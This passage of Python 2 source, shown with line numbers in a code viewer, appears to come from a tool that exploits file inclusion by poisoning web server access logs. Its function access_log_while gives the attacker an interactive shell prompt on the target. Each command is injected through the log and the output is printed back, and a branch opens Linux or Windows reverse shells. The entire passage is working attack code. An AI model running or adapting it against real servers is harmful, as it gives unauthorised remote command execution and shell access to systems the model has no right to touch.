(whoami,logmain,pwd,ologurl,keyword,windows)
| 943 | return "" |
| 944 | |
| 945 | def access_log_while(whoami,logmain,pwd,ologurl,keyword,windows): |
| 946 | cmd = "" |
| 947 | while(cmd != "exit" and cmd != "quit"): |
| 948 | cmd = raw_input("%s@%s:%s$ " %(whoami, logmain.split("/")[2], pwd)) |
| 949 | cmd = cmd.replace("'","\"") |
| 950 | if(cmd != "exit" and cmd != "quit"): |
| 951 | if(checkIfReverseShell(cmd)): |
| 952 | if(windows is False): |
| 953 | access_log_reverse_shell(logmain,keyword,ologurl) |
| 954 | else: |
| 955 | access_log_windows_reverse_shell(logmain,keyword,ologurl) |
| 956 | else: |
| 957 | send_access_log_cmd(cmd, logmain, keyword) |
| 958 | print cleanOutput(access_log_ext(ologurl, "\"%s /" %keyword), False) |
| 959 | exit() |
| 960 | |
| 961 | def simpleGETorHEAD(keyword, ologurl, logmain): |
| 962 | randStr = generateRandom() |
no test coverage detected